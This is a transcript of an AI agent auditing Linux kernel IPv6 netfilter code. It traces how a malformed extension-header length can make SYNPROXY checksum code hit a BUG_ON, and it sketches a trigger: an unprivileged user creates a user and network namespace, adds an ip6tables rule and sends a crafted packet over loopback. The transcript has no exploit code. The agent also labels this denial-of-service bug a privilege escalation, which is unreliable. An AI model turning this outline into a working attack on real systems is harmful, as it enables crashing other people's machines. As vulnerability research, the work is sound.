Right, so `protoff` is being handed in as `&acpar.thoff` β that immediately suggests we're dealing with offsets within the packet data. And it looks like the function `ipv6_find_hdr` is responsible for figuring out where the transport header actually *is* within the IPv6 datagram. I remember that function, it's pretty key to a lot of things. This means, as I suspect, that `protoff` is going to be updated within `ipv6_find_hdr` to the *new* offset of that transport header. I'll need to check the function's internals for the specifics of *how* that update is done, as well as where this happens within the IPv6 header and possible extension headers. To do this, I will move to `net/ipv6/exthdrs_core.c` and dive into the code for `ipv6_find_hdr`. Let's see what it does.
|
| 21/2 |
2026/09/23 03:24 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/ipv6/netfilter/ip6_tables.c Name:ipv6_find_hdr]
Results: map[SourceCode: 165: /*
166: * find the offset to specified header or the protocol number of last header
167: * if target < 0. "last header" is transport protocol header, ESP, or
168: * "No next header".
169: *
170: * Note that *offset is used as input/output parameter, and if it is not zero,
171: * then it must be a valid offset to an inner IPv6 header. This can be used
172: * to explore inner IPv6 header, eg. ICMPv6 error messages.
173: *
174: * If target header is found, its offset is set in *offset and return protocol
175: * number. Otherwise, return -1.
176: *
177: * If the first fragment doesn't contain the final protocol header or
178: * NEXTHDR_NONE it is considered invalid.
179: *
180: * Note that non-1st fragment is special case that "the protocol number
181: * of last header" is "next header" field in Fragment header. In this case,
182: * *offset is meaningless and fragment offset is stored in *fragoff if fragoff
183: * isn't NULL.
184: *
185: * if flags is not NULL and it's a fragment, then the frag flag
186: * IP6_FH_F_FRAG will be set. If it's an AH header, the
187: * IP6_FH_F_AUTH flag is set and target < 0, then this function will
188: * stop at the AH header. If IP6_FH_F_SKIP_RH flag was passed, then this
189: * function will skip all those routing headers, where segements_left was 0.
190: */
191: int ipv6_find_hdr(const struct sk_buff *skb, unsigned int *offset,
192: int target, unsigned short *fragoff, int *flags)
193: {
194: unsigned int start = skb_network_offset(skb) + sizeof(struct ipv6hdr);
195: u8 nexthdr = ipv6_hdr(skb)->nexthdr;
196: int exthdr_cnt = 0;
197: bool found;
198:
199: if (fragoff)
200: *fragoff = 0;
201:
202: if (*offset) {
203: struct ipv6hdr _ip6, *ip6;
204:
205: ip6 = skb_header_pointer(skb, *offset, sizeof(_ip6), &_ip6);
206: if (!ip6 || (ip6->version != 6))
207: return -EBADMSG;
208: start = *offset + sizeof(struct ipv6hdr);
209: nexthdr = ip6->nexthdr;
210: }
211:
212: do {
213: struct ipv6_opt_hdr _hdr, *hp;
214: unsigned int hdrlen;
215: found = (nexthdr == target);
216:
217: if ((!ipv6_ext_hdr(nexthdr)) || nexthdr == NEXTHDR_NONE) {
218: if (target < 0 || found)
219: break;
220: return -ENOENT;
221: }
222:
223: if (unlikely(exthdr_cnt++ >= IP6_MAX_EXT_HDRS_CNT))
224: return -EBADMSG;
225:
226: hp = skb_header_pointer(skb, start, sizeof(_hdr), &_hdr);
227: if (!hp)
228: return -EBADMSG;
229:
230: if (nexthdr == NEXTHDR_ROUTING) {
231: struct ipv6_rt_hdr _rh, *rh;
232:
233: rh = skb_header_pointer(skb, start, sizeof(_rh),
234: &_rh);
235: if (!rh)
236: return -EBADMSG;
237:
238: if (flags && (*flags & IP6_FH_F_SKIP_RH) &&
239: rh->segments_left == 0)
240: found = false;
241: }
242:
243: if (nexthdr == NEXTHDR_FRAGMENT) {
244: unsigned short _frag_off;
245: __be16 *fp;
246:
247: if (flags) /* Indicate that this is a fragment */
248: *flags |= IP6_FH_F_FRAG;
249: fp = skb_header_pointer(skb,
250: start+offsetof(struct frag_hdr,
251: frag_off),
252: sizeof(_frag_off),
253: &_frag_off);
254: if (!fp)
255: return -EBADMSG;
256:
257: _frag_off = ntohs(*fp) & ~0x7;
258: if (_frag_off) {
259: if (target < 0 &&
260: ((!ipv6_ext_hdr(hp->nexthdr)) ||
261: hp->nexthdr == NEXTHDR_NONE)) {
262: if (fragoff)
263: *fragoff = _frag_off;
264: return hp->nexthdr;
265: }
266: if (!found)
267: return -ENOENT;
268: if (fragoff)
269: *fragoff = _frag_off;
270: break;
271: }
272: hdrlen = 8;
273: } else if (nexthdr == NEXTHDR_AUTH) {
274: if (flags && (*flags & IP6_FH_F_AUTH) && (target < 0))
275: break;
276: hdrlen = ipv6_authlen(hp);
277: } else
278: hdrlen = ipv6_optlen(hp);
279:
280: if (!found) {
281: nexthdr = hp->nexthdr;
282: start += hdrlen;
283: }
284: } while (!found);
285:
286: *offset = start;
287: return nexthdr;
288: }
SourceFile:net/ipv6/exthdrs_core.c]
|
| 22/2 |
2026/09/23 03:24 |
llm |
expert |
0m
Model:
Tokens:
input: 36410
output: 42
thoughts: 1622
Thoughts: **Analyzing a Potential IPv6 Packet Vulnerability**
Okay, so I'm tracing this `ipv6_find_hdr` function, and it looks like it updates `*offset` to `start`. The key here is that if `ipv6_find_hdr` successfully returns a protocol number, that `*offset` value represents the offset of the header that it found. But, I'm starting to see a potential problem: could `*offset` end up *larger* than `skb->len`? Let's dig in.
The code calls `skb_header_pointer` to fetch the header, and that function *does* check if `start + sizeof(_hdr)` is within `skb->len`. Specifically, it either uses `skb_headlen` to quickly check if the data is in the linear part, or it uses `skb_copy_bits`. `skb_copy_bits` verifies that `offset + len <= skb->len`, but crucially `skb_header_pointer` *only* checks `start + sizeof(_hdr)`. Okay, so far so good.
Now, if `nexthdr` is *not* an extension header and *isn't* `NEXTHDR_NONE`, the code immediately breaks from the loop. And what if `nexthdr` is, say, `IPPROTO_TCP`? It will break *without* checking if `start` is still within the bounds of the SKB! So, if `start` is *equal to* or even *larger than* `skb->len`, this break happens and the code proceeds! This is where things get interesting.
Let's trace `start`. It initially starts after the IPv6 header, so if the packet is just an IPv6 header and `skb->len` *is* just the size of the IPv6 header, `start` becomes equal to `skb->len`. If `nexthdr` happens to be `IPPROTO_TCP`, it breaks and `*offset` is set to `start`, which is `skb->len`. Then `ip6_packet_match` returns true, and `acpar.thoff` is set to `skb->len`. Now it calls `synproxy_tg6`. And `synproxy_tg6` then calls `nf_ip6_checksum`
`nf_ip6_checksum` calls `skb_checksum` with `dataoff` as `par->thoff`, which we just saw is `skb->len`. Now, `skb_checksum` is called with `offset = 0` and `len = skb->len`. It does checksum on the whole packet and there is no `BUG_ON`.
But wait. What if `dataoff` *is* actually greater than `skb->len`?
Back to `ipv6_find_hdr`: The `ipv6_optlen` function returns `(hp->hdrlen + 1) << 3`. Crucially, `skb_header_pointer` does *not* check if `start + hdrlen` is within `skb->len`! It only checks `start + sizeof(_hdr)`. So, if the packet is truncated, `start + hdrlen` *can* be larger than `skb->len`. Then, if the next header is `IPPROTO_TCP`, it breaks the loop and sets `*offset` (and later `acpar.thoff`) to `start`, which is then > `skb->len`!
Now, the `nf_ip6_checksum` function calls `skb_checksum` with `dataoff > skb->len`. Now here's the kicker: `nf_ip6_checksum` computes checksum using
```c
skb->csum = ~csum_unfold(
csum_ipv6_magic(&ip6h->saddr, &ip6h->daddr,
skb->len - dataoff,
protocol,
csum_sub(0,
skb_checksum(skb, 0,
dataoff, 0))));
```
If `dataoff > skb->len`, then `skb->len - dataoff` will underflow and will become a huge positive number. More important: `skb_checksum` is called with `offset = 0` and `len = dataoff`, where `dataoff > skb->len`. The `skb_checksum` will process the whole packet, and after that, `len` will be `dataoff - skb->len > 0`. At the end, the `BUG_ON(len);` will
|
| 23/2 |
2026/09/23 03:25 |
tool |
read-file |
0m
Args: map[File:net/ipv6/exthdrs_core.c FirstLine:191 LineCount:100]
Results: map[Contents: 191: int ipv6_find_hdr(const struct sk_buff *skb, unsigned int *offset,
192: int target, unsigned short *fragoff, int *flags)
193: {
194: unsigned int start = skb_network_offset(skb) + sizeof(struct ipv6hdr);
195: u8 nexthdr = ipv6_hdr(skb)->nexthdr;
196: int exthdr_cnt = 0;
197: bool found;
198:
199: if (fragoff)
200: *fragoff = 0;
201:
202: if (*offset) {
203: struct ipv6hdr _ip6, *ip6;
204:
205: ip6 = skb_header_pointer(skb, *offset, sizeof(_ip6), &_ip6);
206: if (!ip6 || (ip6->version != 6))
207: return -EBADMSG;
208: start = *offset + sizeof(struct ipv6hdr);
209: nexthdr = ip6->nexthdr;
210: }
211:
212: do {
213: struct ipv6_opt_hdr _hdr, *hp;
214: unsigned int hdrlen;
215: found = (nexthdr == target);
216:
217: if ((!ipv6_ext_hdr(nexthdr)) || nexthdr == NEXTHDR_NONE) {
218: if (target < 0 || found)
219: break;
220: return -ENOENT;
221: }
222:
223: if (unlikely(exthdr_cnt++ >= IP6_MAX_EXT_HDRS_CNT))
224: return -EBADMSG;
225:
226: hp = skb_header_pointer(skb, start, sizeof(_hdr), &_hdr);
227: if (!hp)
228: return -EBADMSG;
229:
230: if (nexthdr == NEXTHDR_ROUTING) {
231: struct ipv6_rt_hdr _rh, *rh;
232:
233: rh = skb_header_pointer(skb, start, sizeof(_rh),
234: &_rh);
235: if (!rh)
236: return -EBADMSG;
237:
238: if (flags && (*flags & IP6_FH_F_SKIP_RH) &&
239: rh->segments_left == 0)
240: found = false;
241: }
242:
243: if (nexthdr == NEXTHDR_FRAGMENT) {
244: unsigned short _frag_off;
245: __be16 *fp;
246:
247: if (flags) /* Indicate that this is a fragment */
248: *flags |= IP6_FH_F_FRAG;
249: fp = skb_header_pointer(skb,
250: start+offsetof(struct frag_hdr,
251: frag_off),
252: sizeof(_frag_off),
253: &_frag_off);
254: if (!fp)
255: return -EBADMSG;
256:
257: _frag_off = ntohs(*fp) & ~0x7;
258: if (_frag_off) {
259: if (target < 0 &&
260: ((!ipv6_ext_hdr(hp->nexthdr)) ||
261: hp->nexthdr == NEXTHDR_NONE)) {
262: if (fragoff)
263: *fragoff = _frag_off;
264: return hp->nexthdr;
265: }
266: if (!found)
267: return -ENOENT;
268: if (fragoff)
269: *fragoff = _frag_off;
270: break;
271: }
272: hdrlen = 8;
273: } else if (nexthdr == NEXTHDR_AUTH) {
274: if (flags && (*flags & IP6_FH_F_AUTH) && (target < 0))
275: break;
276: hdrlen = ipv6_authlen(hp);
277: } else
278: hdrlen = ipv6_optlen(hp);
279:
280: if (!found) {
281: nexthdr = hp->nexthdr;
282: start += hdrlen;
283: }
284: } while (!found);
285:
286: *offset = start;
287: return nexthdr;
288: }
289: EXPORT_SYMBOL(ipv6_find_hdr);
]
|
| 24/2 |
2026/09/23 03:25 |
llm |
expert |
0m
Model:
Tokens:
input: 40546
output: 42
thoughts: 304
Thoughts: **My Analysis of a Potential IPv6 Header Vulnerability**
Okay, here's what's running through my head. I've got this potential bug, and I need to break it down. Right, so `ipv6_optlen(hp)` is indeed calculated as `(hp->hdrlen + 1) << 3`. Makes sense. The `hdrlen` field can be significant, potentially up to 256. That results in a maximum header length of 2048 bytes (256 * 8).
Now, the problem arises when the packet itself is *small*. If `skb->len`, the total packet length, is, say, only 64 bytes, and `hdrlen` is large, then incrementing `start += hdrlen` within a loop will quickly push `start` well beyond `skb->len`.
The next iteration seems to check `nexthdr` for `IPPROTO_TCP`. Crucially, this is where the vulnerability becomes apparent. When `nexthdr` *is* TCP, the code breaks out of the loop and returns `IPPROTO_TCP`, and the value of `start` is set as `*offset`. Then `ip6_packet_match` returns `true` because the code now believes it *has* found a TCP header. This is where the crucial error occurs, the value of start, which is larger than `skb->len` is set to `acpar.thoff`.
This means that `acpar.thoff` is now *greater* than `skb->len`. This triggers the problem during `synproxy_tg6` when it calls `nf_ip6_checksum` with the `thoff` value. The function calls `skb_checksum`, and it calls `skb_checksum(skb, 0, dataoff, 0)`. The `dataoff` variable is the troublesome `acpar.thoff`. `skb_checksum` includes a `BUG_ON` check. It's supposed to ensure that `dataoff <= skb->len`, but this condition is now violated. The buffer overrun triggers the bug when the program checks to see if `dataoff` is still less than `skb->len`.
My next step is to examine `ip6_packet_match` and `ip6t_do_table` more closely. I need to see if any check exists to ensure that `acpar.thoff` is actually within the bounds of `skb->len`. If there's no such check, we've got a definite vulnerability.
|
| 25/2 |
2026/09/23 03:25 |
tool |
read-file |
0m
Args: map[File:net/ipv6/netfilter/ip6_tables.c FirstLine:300 LineCount:50]
Results: map[Contents: 300: const struct xt_entry_target *t;
301: const struct xt_entry_match *ematch;
302: struct xt_counters *counter;
303:
304: WARN_ON(!e);
305: acpar.thoff = 0;
306: if (!ip6_packet_match(skb, indev, outdev, &e->ipv6,
307: &acpar.thoff, &acpar.fragoff, &acpar.hotdrop)) {
308: no_match:
309: e = ip6t_next_entry(e);
310: continue;
311: }
312:
313: xt_ematch_foreach(ematch, e) {
314: acpar.match = ematch->u.kernel.match;
315: acpar.matchinfo = ematch->data;
316: if (!acpar.match->match(skb, &acpar))
317: goto no_match;
318: }
319:
320: counter = xt_get_this_cpu_counter(&e->counters);
321: ADD_COUNTER(*counter, skb->len, 1);
322:
323: t = ip6t_get_target_c(e);
324: WARN_ON(!t->u.kernel.target);
325:
326: #if IS_ENABLED(CONFIG_NETFILTER_XT_TARGET_TRACE)
327: /* The packet is traced: log it */
328: if (unlikely(skb->nf_trace))
329: trace_packet(state->net, skb, hook, state->in,
330: state->out, table->name, private, e);
331: #endif
332: /* Standard target? */
333: if (!t->u.kernel.target->target) {
334: int v;
335:
336: v = ((struct xt_standard_target *)t)->verdict;
337: if (v < 0) {
338: /* Pop from stack? */
339: if (v != XT_RETURN) {
340: verdict = (unsigned int)(-v) - 1;
341: break;
342: }
343: if (stackidx == 0)
344: e = get_entry(table_base,
345: private->underflow[hook]);
346: else
347: e = ip6t_next_entry(jumpstack[--stackidx]);
348: continue;
349: }
]
|
| 26/2 |
2026/09/23 03:25 |
llm |
expert |
0m
Model:
Tokens:
input: 42229
output: 44
thoughts: 144
Thoughts: **Analyzing a Potential Vulnerability in IPv6 TCP Checksum Calculation**
Okay, so I'm looking at this code and I've spotted something potentially troubling. It looks like there isn't a check to ensure `acpar.thoff` is less than or equal to `skb->len` before things move along. I'm seeing `ip6_packet_match` return true, which is good, but then `synproxy_tg6` gets called. That's where things get interesting.
Specifically, I see a call to `nf_ip6_checksum`, and it uses the `thoff` offset as part of the check:
```c
if (nf_ip6_checksum(skb, xt_hooknum(par), par->thoff, IPPROTO_TCP))
return NF_DROP;
```
Now, `nf_ip6_checksum` subsequently calls `skb_checksum`, using this potentially unchecked offset, like so: `skb_checksum(skb, 0, dataoff, 0)`. My concern is that if `thoff` *is* larger than the `skb->len`, this call to `skb_checksum` is going to trigger a `BUG_ON`.
I'm pretty sure that this could lead to a denial-of-service, or potentially worse. I need to figure out if this is a known issue. Let me start searching the commit logs and mailing lists for any fixes related to checksum calculation with IPv6 and TCP, specifically looking for checks around similar `skb_checksum` calls and offset usage.
|
| 27/2 |
2026/09/23 03:25 |
tool |
git-log |
0m
Args: map[CodeRegexp:BUG_ON\\(len\\) Count:10 PathPrefix:net/core/skbuff.c]
Results:
|
| 28/2 |
2026/09/23 03:25 |
llm |
expert |
0m
Model:
Tokens:
input: 42774
output: 27
thoughts: 32
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Analyzing Relevant Code Changes**
Okay, so I need to dig into recent commits. The goal is to pinpoint changes related to specific networking components. I'm thinking about anything that might touch `ipv6_find_hdr`, `nf_ip6_checksum`, or `synproxy_tg6`. These are key areas, especially considering potential interactions with IPv6, checksum calculations, and SYN proxy functionality. I'll need to use the right search queries to filter down the commit logs quickly. I'm expecting this will involve using the commit history search tool. The specific search terms will be important to avoid pulling up irrelevant results, but also important to cover all the bases to make sure nothing is missed. Iβll need to iterate on the search terms to ensure a comprehensive overview. Letβs get started.
|
| 29/2 |
2026/09/23 03:25 |
tool |
git-log |
0m
Error:
Args: map[Count:10 SymbolName:ipv6_find_hdr]
Results:
|
| 30/2 |
2026/09/23 03:25 |
llm |
expert |
0m
Model:
Tokens:
input: 43041
output: 46
thoughts: 10
Thoughts: Okay, here's the summary, assuming I'm a seasoned professional, and the 'thoughts' represent my internal dialogue while working on a complex project:
**Internal Workflow & Variable Management**
Alright, right now my brain is churning... I'm realizing that I haven't explicitly addressed the input requirement, `SourcePath`. This isn't a nebulous placeholder; it's a critical piece of the puzzle. It's the grounding point for the whole process I'm working on. Without that correctly defined, everything downstream is going to be either gibberish or just plain wrong. It's not just *a* path; itβs *the* path to the foundation of this work. I need to ensure it is accurately and explicitly provided. I need to make sure I am thinking about how the system handles missing/invalid source paths, and write some error checking in there. Gotta get it set up, quick.
|
| 31/2 |
2026/09/23 03:25 |
tool |
git-log |
0m
Args: map[Count:10 SourcePath:net/ipv6/exthdrs_core.c SymbolName:ipv6_find_hdr]
Results: map[Output:3744b0964d52 ipv6: Implement limits on extension header parsing
280b0b8e89ad ipv6: remove printk
416e8126a267 ipv6: Use ipv6_authlen for len
380537b4f7f2 net: ipv6: remove unused code in ipv6_find_hdr()
5d150a985520 ipv6: re-enable fragment header matching in ipv6_find_hdr
63159f29be1d ipv6: coding style: comparison for equality with NULL
accfe0e35632 ipv6: ipv6_find_hdr restore prev functionality
9195bb8e381d ipv6: improve ipv6_find_hdr() to skip empty routing headers
f8f626754ebe ipv6: Move ipv6_find_hdr() out of Netfilter code.
]
|
| 32/2 |
2026/09/23 03:26 |
llm |
expert |
0m
Model:
Tokens:
input: 43528
output: 27
thoughts: 27
Thoughts: Okay, let's dive into this! Here's my take on those thoughts, as if they're my own:
**Analyzing the IPv6 Extension Header Limit Implementation**
Alright, let's take a look at commit `3744b0964d52` concerning IPv6 and specifically the implementation of limits on extension header parsing. I'm immediately interested in this. As we know, unbounded extension header processing in IPv6 can be a significant attack vector, so any work in this area is something I'll want to study closely. It's crucial for robustness and security. I'll need to understand:
* **The Specific Limits:** What kind of limits are being implemented? Are we talking about a maximum number of headers allowed, a maximum total size of the header chain, or something else? Understanding the specific parameters is key to assessing the effectiveness of the solution.
* **The Rationale:** Why were these particular limits chosen? Were they based on performance considerations, common use cases, or specific vulnerability analyses? The reasoning behind the design choices is important.
* **The Implementation Details:** How are these limits enforced? Is it in the kernel itself, at the driver level, or somewhere else? I'll need to know the mechanism to understand the impact on performance and compatibility.
* **The Impact of Current and New Limits:** How does this implementation influence the overall IPv6 implementation? Is it backward compatible? Does the updated implementation break some current flows? Are there edge cases I should focus on in my evaluation?
* **The Testing:** Has this been thoroughly tested? What test cases were used to validate the implementation? Are there any potential vulnerabilities or attack vectors that the tests might have missed? Did they introduce fuzzing?
I'm particularly keen to see how these limits are balanced with legitimate use cases of IPv6 extension headers. We don't want to break legitimate functionality in the name of security. I also want to make sure these limits are enforced effectively. A partial implementation is worse than no implementation. I'll look for potential bypasses or areas where the limits could be circumvented. Ultimately, my goal is to assess whether this change truly strengthens the IPv6 implementation and improves its resilience against attacks. Let's dig in and see how well this holds up!
|
| 33/2 |
2026/09/23 03:26 |
tool |
git-show |
0m
Args:
Results: map[Output:commit 3744b0964d5267c0b651bcd8f8c25db6bf4ccbac
Author: Daniel Borkmann <daniel@iogearbox.net>
Date: Wed Apr 29 17:46:48 2026 +0200
ipv6: Implement limits on extension header parsing
ipv6_{skip_exthdr,find_hdr}() and ip6_{tnl_parse_tlv_enc_lim,
protocol_deliver_rcu}() iterate over IPv6 extension headers until they
find a non-extension-header protocol or run out of packet data. The
loops have no iteration counter, relying solely on the packet length
to bound them. For a crafted packet with 8-byte extension headers
filling a 64KB jumbogram, this means a worst case of up to ~8k
iterations with a skb_header_pointer call each. ipv6_skip_exthdr(),
for example, is used where it parses the inner quoted packet inside
an incoming ICMPv6 error:
- icmpv6_rcv
- checksum validation
- case ICMPV6_DEST_UNREACH
- icmpv6_notify
- pskb_may_pull() <- pull inner IPv6 header
- ipv6_skip_exthdr() <- iterates here
- pskb_may_pull()
- ipprot->err_handler() <- sk lookup
The per-iteration cost of ipv6_skip_exthdr itself is generally
light, but skb_header_pointer becomes more costly on reassembled
packets: the first ~1232 bytes of the inner packet are in the skb's
linear area, but the remaining ~63KB are in the frag_list where
skb_copy_bits is needed to read data.
Initially, the idea was to add a configurable limit via a new
sysctl knob with default 8, in line with knobs from commit
47d3d7ac656a ("ipv6: Implement limits on Hop-by-Hop and Destination
options"), but two reasons eventually argued against it:
- It adds to UAPI that needs to be maintained forever, and
upcoming work is restricting extension header ordering anyway,
leaving little reason for another sysctl knob
- exthdrs_core.c is always built-in even when CONFIG_IPV6=n,
where struct net has no .ipv6 member, so the read site would
need an ifdef'd fallback to a constant anyway
Therefore, just use a constant (IP6_MAX_EXT_HDRS_CNT). All four
extension header walking functions are now bound by this limit.
Note that the check in ip6_protocol_deliver_rcu() happens right
before the goto resubmit, such that we don't have to have a test
for ipv6_ext_hdr() in the fast-path.
There's an ongoing IETF draft-iurman-6man-eh-occurrences to enforce
IPv6 extension headers ordering and occurrence. The latter also
discusses security implications. As per RFC8200 section 4.1, the
occurrence rules for extension headers provide a practical upper
bound which is 8. In order to be conservative, let's define
IP6_MAX_EXT_HDRS_CNT as 12 to leave enough room for quirky setups.
In the unlikely event that this is still not enough, then we might
need to reconsider a sysctl.
Signed-off-by: Daniel Borkmann <daniel@iogearbox.net>
Reviewed-by: Ido Schimmel <idosch@nvidia.com>
Reviewed-by: Eric Dumazet <edumazet@google.com>
Reviewed-by: Justin Iurman <justin.iurman@gmail.com>
Link: https://patch.msgid.link/20260429154648.809751-1-daniel@iogearbox.net
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
diff --git a/include/net/dropreason-core.h b/include/net/dropreason-core.h
index e0ca3904ff8e..2f312d1f67d6 100644
--- a/include/net/dropreason-core.h
+++ b/include/net/dropreason-core.h
@@ -99,6 +99,7 @@
FN(FRAG_TOO_FAR) \
FN(TCP_MINTTL) \
FN(IPV6_BAD_EXTHDR) \
+ FN(IPV6_TOO_MANY_EXTHDRS) \
FN(IPV6_NDISC_FRAG) \
FN(IPV6_NDISC_HOP_LIMIT) \
FN(IPV6_NDISC_BAD_CODE) \
@@ -494,6 +495,11 @@ enum skb_drop_reason {
SKB_DROP_REASON_TCP_MINTTL,
/** @SKB_DROP_REASON_IPV6_BAD_EXTHDR: Bad IPv6 extension header. */
SKB_DROP_REASON_IPV6_BAD_EXTHDR,
+ /**
+ * @SKB_DROP_REASON_IPV6_TOO_MANY_EXTHDRS: Number of IPv6 extension
+ * headers in the packet exceeds IP6_MAX_EXT_HDRS_CNT.
+ */
+ SKB_DROP_REASON_IPV6_TOO_MANY_EXTHDRS,
/** @SKB_DROP_REASON_IPV6_NDISC_FRAG: invalid frag (suppress_frag_ndisc). */
SKB_DROP_REASON_IPV6_NDISC_FRAG,
/** @SKB_DROP_REASON_IPV6_NDISC_HOP_LIMIT: invalid hop limit. */
diff --git a/include/net/ipv6.h b/include/net/ipv6.h
index d042afe7a245..1dec81faff28 100644
--- a/include/net/ipv6.h
+++ b/include/net/ipv6.h
@@ -90,6 +90,9 @@ struct ip_tunnel_info;
#define IP6_DEFAULT_MAX_DST_OPTS_LEN INT_MAX /* No limit */
#define IP6_DEFAULT_MAX_HBH_OPTS_LEN INT_MAX /* No limit */
+/* Hard limit on traversed IPv6 extension headers */
+#define IP6_MAX_EXT_HDRS_CNT 12
+
/*
* Addr type
*
diff --git a/net/ipv6/exthdrs_core.c b/net/ipv6/exthdrs_core.c
index 49e31e4ae7b7..9d06d487e8b1 100644
--- a/net/ipv6/exthdrs_core.c
+++ b/net/ipv6/exthdrs_core.c
@@ -73,6 +73,7 @@ int ipv6_skip_exthdr(const struct sk_buff *skb, int start, u8 *nexthdrp,
__be16 *frag_offp)
{
u8 nexthdr = *nexthdrp;
+ int exthdr_cnt = 0;
*frag_offp = 0;
@@ -82,6 +83,8 @@ int ipv6_skip_exthdr(const struct sk_buff *skb, int start, u8 *nexthdrp,
if (nexthdr == NEXTHDR_NONE)
return -1;
+ if (unlikely(exthdr_cnt++ >= IP6_MAX_EXT_HDRS_CNT))
+ return -1;
hp = skb_header_pointer(skb, start, sizeof(_hdr), &_hdr);
if (!hp)
return -1;
@@ -190,6 +193,7 @@ int ipv6_find_hdr(const struct sk_buff *skb, unsigned int *offset,
{
unsigned int start = skb_network_offset(skb) + sizeof(struct ipv6hdr);
u8 nexthdr = ipv6_hdr(skb)->nexthdr;
+ int exthdr_cnt = 0;
bool found;
if (fragoff)
@@ -216,6 +220,9 @@ int ipv6_find_hdr(const struct sk_buff *skb, unsigned int *offset,
return -ENOENT;
}
+ if (unlikely(exthdr_cnt++ >= IP6_MAX_EXT_HDRS_CNT))
+ return -EBADMSG;
+
hp = skb_header_pointer(skb, start, sizeof(_hdr), &_hdr);
if (!hp)
return -EBADMSG;
diff --git a/net/ipv6/ip6_input.c b/net/ipv6/ip6_input.c
index 967b07aeb683..8972863c93ee 100644
--- a/net/ipv6/ip6_input.c
+++ b/net/ipv6/ip6_input.c
@@ -403,6 +403,7 @@ INDIRECT_CALLABLE_DECLARE(int tcp_v6_rcv(struct sk_buff *));
void ip6_protocol_deliver_rcu(struct net *net, struct sk_buff *skb, int nexthdr,
bool have_final)
{
+ int exthdr_cnt = IP6CB(skb)->flags & IP6SKB_HOPBYHOP ? 1 : 0;
const struct inet6_protocol *ipprot;
struct inet6_dev *idev;
unsigned int nhoff;
@@ -487,6 +488,10 @@ void ip6_protocol_deliver_rcu(struct net *net, struct sk_buff *skb, int nexthdr,
nexthdr = ret;
goto resubmit_final;
} else {
+ if (unlikely(exthdr_cnt++ >= IP6_MAX_EXT_HDRS_CNT)) {
+ SKB_DR_SET(reason, IPV6_TOO_MANY_EXTHDRS);
+ goto discard;
+ }
goto resubmit;
}
} else if (ret == 0) {
diff --git a/net/ipv6/ip6_tunnel.c b/net/ipv6/ip6_tunnel.c
index c468c83af0f2..9d1037ac082f 100644
--- a/net/ipv6/ip6_tunnel.c
+++ b/net/ipv6/ip6_tunnel.c
@@ -399,11 +399,15 @@ __u16 ip6_tnl_parse_tlv_enc_lim(struct sk_buff *skb, __u8 *raw)
unsigned int nhoff = raw - skb->data;
unsigned int off = nhoff + sizeof(*ipv6h);
u8 nexthdr = ipv6h->nexthdr;
+ int exthdr_cnt = 0;
while (ipv6_ext_hdr(nexthdr) && nexthdr != NEXTHDR_NONE) {
struct ipv6_opt_hdr *hdr;
u16 optlen;
+ if (unlikely(exthdr_cnt++ >= IP6_MAX_EXT_HDRS_CNT))
+ break;
+
if (!pskb_may_pull(skb, off + sizeof(*hdr)))
break;
]
|
| 34/2 |
2026/09/23 03:26 |
llm |
expert |
0m
Model:
Tokens:
input: 47032
output: 43
thoughts: 828
Thoughts: **Analyzing a Kernel Panic in IPv6 SYNPROXY Processing**
Okay, so this commit limits extension headers, but that doesn't address the core problem. The issue boils down to `ipv6_find_hdr` potentially returning an offset that's greater than `skb->len`. If that happens, then `acpar.thoff` ends up exceeding `skb->len`, which is where the trouble begins.
The call chain goes like this: `synproxy_tg6` calls `nf_ip6_checksum` with this bad `dataoff`. `nf_ip6_checksum`, in turn, then hits `skb_checksum`, and that's where the dreaded `BUG_ON` fires due to the invalid offset.
I need to confirm if there is any check in `ip6_packet_match` to ensure `acpar.thoff <= skb->len`, to prevent this. No, it doesn't appear so.
Wait, looking at `ip6_packet_match` again, it calls `ipv6_find_hdr`. If the header is found it returns true and `synproxy_tg6` is called.
Here's the problem. `synproxy_tg6` then calls `skb_header_pointer` which checks `par->thoff`. If `par->thoff > skb->len`, `skb_header_pointer` returns `NULL`. But the `nf_ip6_checksum` is called BEFORE the `skb_header_pointer`! This means `nf_ip6_checksum` is called with `par->thoff`, and it triggers the `BUG_ON` in `skb_checksum`. It would have been better if they had swapped the order, then it would drop the packet first.
So, this looks like a clear exploit, or rather a denial of service. By crafting an IPv6 packet with extension headers that claim a large length, followed by a TCP header, then processing it through `ip6tables` with the `SYNPROXY` target, we trigger `nf_ip6_checksum` to call `skb_checksum` with an invalid `dataoff`. Boom β kernel panic.
The next question: Is this exploitable from unprivileged contexts? The reproducer uses `setsockopt` with `IP6T_SO_SET_REPLACE`, setting up the `SYNPROXY` target, which requires `CAP_NET_ADMIN` in the network namespace. However, with `unshare -Ur -n`, we can create a user namespace and a network namespace to which we have `CAP_NET_ADMIN`. So, we should be able to create an `ip6tables` rule in this user network namespace and get it to trigger. Let me check `ip6_tables` and `SYNPROXY` for namespace awareness. Seems they are namespace aware. We should verify `synproxy_tg6_check` in `net/ipv6/netfilter/ip6t_SYNPROXY.c` to be sure.
|
| 35/2 |
2026/09/23 03:26 |
tool |
read-file |
0m
Args: map[File:net/ipv6/netfilter/ip6t_SYNPROXY.c FirstLine:66 LineCount:25]
Results: map[Contents: 66: static int synproxy_tg6_check(const struct xt_tgchk_param *par)
67: {
68: struct synproxy_net *snet = synproxy_pernet(par->net);
69: const struct ip6t_entry *e = par->entryinfo;
70: int err;
71:
72: if (!(e->ipv6.flags & IP6T_F_PROTO) ||
73: e->ipv6.proto != IPPROTO_TCP ||
74: e->ipv6.invflags & XT_INV_PROTO)
75: return -EINVAL;
76:
77: err = nf_ct_netns_get(par->net, par->family);
78: if (err)
79: return err;
80:
81: err = nf_synproxy_ipv6_init(snet, par->net);
82: if (err) {
83: nf_ct_netns_put(par->net, par->family);
84: return err;
85: }
86:
87: return err;
88: }
89:
90: static void synproxy_tg6_destroy(const struct xt_tgdtor_param *par)
]
|
| 36/2 |
2026/09/23 03:26 |
llm |
expert |
0m
Model:
Tokens:
input: 48916
output: 34
thoughts: 259
Thoughts: **My Assessment of the Vulnerability**
Okay, so the code leverages `par->net`, which immediately tells me this is namespace-aware. This is significant because it opens the door for exploitation from unprivileged user namespaces. I can see an unprivileged user setting up a user+net namespace, configuring a `SYNPROXY` rule, and then using a crafted packet over loopback to exploit the bug. It's a textbook local privilege escalation scenario.
